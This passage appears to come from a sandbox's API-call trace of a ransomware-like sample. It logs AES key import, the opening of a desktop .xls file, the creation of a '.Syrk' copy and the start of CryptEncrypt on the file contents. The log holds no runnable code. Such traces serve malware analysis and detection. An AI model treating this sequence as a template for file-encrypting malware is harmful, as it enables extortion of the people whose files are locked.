(param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0191.472] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0191.472] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.472] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0191.472] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.473] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0191.473] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0191.473] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.473] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0191.473] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.473] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0191.473] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0191.473] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.473] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0191.473] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.473] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0191.473] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0191.473] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.474] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0191.474] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0191.474] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0191.474] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0191.474] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0191.474] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0191.474] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.474] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0191.474] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.474] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0191.474] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0191.474] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.475] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0191.475] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.475] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0191.475] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0191.475] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.475] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0191.475] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.475] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0191.475] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0191.475] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.475] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0191.475] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.476] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0191.476] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0191.476] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.476] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0191.476] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.476] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0191.476] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0191.476] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.476] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0191.476] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.476] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0191.476] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0191.476] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.476] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0191.477] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.477] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0191.477] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0191.477] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.477] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0191.477] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0191.477] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0191.477] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0191.477] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0191.477] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0191.477] SystemFunction041 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.478] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0191.478] SystemFunction040 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.478] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0191.478] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0191.478] SystemFunction041 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.478] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0191.478] SystemFunction040 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.478] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0191.478] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0191.478] SystemFunction041 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.478] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0191.478] SystemFunction040 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.478] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0191.479] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0191.479] SystemFunction041 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.479] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0191.479] SystemFunction040 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.479] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0191.479] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0191.479] SystemFunction041 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.479] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0191.479] SystemFunction040 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.479] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0191.479] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0191.479] SystemFunction041 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.479] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0191.480] SystemFunction040 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.480] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0191.480] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0191.480] SystemFunction041 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.480] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0191.480] SystemFunction040 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.480] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0191.480] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0191.480] SystemFunction041 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.480] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2Jh") returned 0x28 [0191.480] SystemFunction040 (in: Memory=0x3c0dd4, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0dd4) returned 0x0 [0191.480] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0191.481] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0191.481] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0191.481] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0191.481] SystemFunction041 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0191.481] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0191.481] SystemFunction040 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0191.481] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0191.481] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0191.481] SystemFunction041 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0191.481] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0191.481] SystemFunction040 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0191.482] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0191.482] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0191.482] SystemFunction041 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0191.482] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0191.482] SystemFunction040 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0191.482] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0191.482] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0191.482] SystemFunction041 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0191.482] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0191.482] SystemFunction040 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0191.482] EtwEventActivityIdControl () returned 0x0 [0191.482] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0191.483] SystemFunction041 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0191.483] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0191.483] SystemFunction040 (in: Memory=0x3da3b4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x3da3b4) returned 0x0 [0191.488] CryptAcquireContextW (in: phProv=0x5a2e660, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e660*=0x5c4cd48) returned 1 [0191.491] CryptImportKey (in: hProv=0x5c4cd48, pbData=0x2404398*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2ea54 | out: phKey=0x5a2ea54*=0x5c68d00) returned 1 [0191.491] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0191.492] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e7c0, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.492] EtwEventActivityIdControl () returned 0x0 [0191.492] EtwEventActivityIdControl () returned 0x0 [0191.492] EtwEventActivityIdControl () returned 0x0 [0191.498] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\-8f.xls")) returned 0x20 [0191.500] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\-8f.xls")) returned 0x20 [0191.500] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0191.500] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", lpFilePart=0x0) returned 0x30 [0191.501] EtwEventActivityIdControl () returned 0x0 [0191.501] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.502] EtwEventActivityIdControl () returned 0x0 [0191.502] EtwEventActivityIdControl () returned 0x0 [0191.502] EtwEventActivityIdControl () returned 0x0 [0191.503] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0191.503] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", nBufferLength=0x31, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls", lpFilePart=0x0) returned 0x30 [0191.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0191.504] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\-8f.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x45c [0191.504] GetFileType (hFile=0x45c) returned 0x1 [0191.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0191.504] GetFileType (hFile=0x45c) returned 0x1 [0191.504] EtwEventActivityIdControl () returned 0x0 [0191.505] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.505] EtwEventActivityIdControl () returned 0x0 [0191.505] EtwEventActivityIdControl () returned 0x0 [0191.505] EtwEventActivityIdControl () returned 0x0 [0191.506] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0191.506] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls.Syrk", nBufferLength=0x36, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls.Syrk", lpFilePart=0x0) returned 0x35 [0191.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e240) returned 1 [0191.507] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\M3w-Q0RZrFUkL\\-8F.xls.Syrk" (normalized: "c:\\users\\keecfmwgj\\desktop\\m3w-q0rzrfukl\\-8f.xls.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x344 [0191.509] GetFileType (hFile=0x344) returned 0x1 [0191.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e23c) returned 1 [0191.509] GetFileType (hFile=0x344) returned 0x1 [0191.509] EtwEventActivityIdControl () returned 0x0 [0191.509] CryptGenRandom (in: hProv=0x5c4cd48, dwLen=0x10, pbBuffer=0x24153c0 | out: pbBuffer=0x24153c0) returned 1 [0191.510] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0191.510] CryptDuplicateKey (in: hKey=0x5c68d00, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2ea08 | out: phKey=0x5a2ea08*=0x5c69180) returned 1 [0191.511] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0191.511] CryptSetKeyParam (hKey=0x5c69180, dwParam=0x4, pbData=0x2416830*=0x1, dwFlags=0x0) returned 1 [0191.511] CryptSetKeyParam (hKey=0x5c69180, dwParam=0x1, pbData=0x24167fc, dwFlags=0x0) returned 1 [0191.511] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e608, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0191.512] EtwEventActivityIdControl () returned 0x0 [0191.512] EtwEventActivityIdControl () returned 0x0 [0191.512] EtwEventActivityIdControl () returned 0x0 [0191.513] EtwEventActivityIdControl () returned 0x0 [0191.513] ReadFile (in: hFile=0x45c, lpBuffer=0x2419498, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2ea0c, lpOverlapped=0x0 | out: lpBuffer=0x2419498*, lpNumberOfBytesRead=0x5a2ea0c*=0xf05a, lpOverlapped=0x0) returned 1 [0191.515] CryptEncrypt (in: hKey=0x5c69180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x242d4b0*, pdwDataLen=0x5a2ea00*=0xf050, dwBufLen=0xf050 | out: pbData=0x242d4b0*, 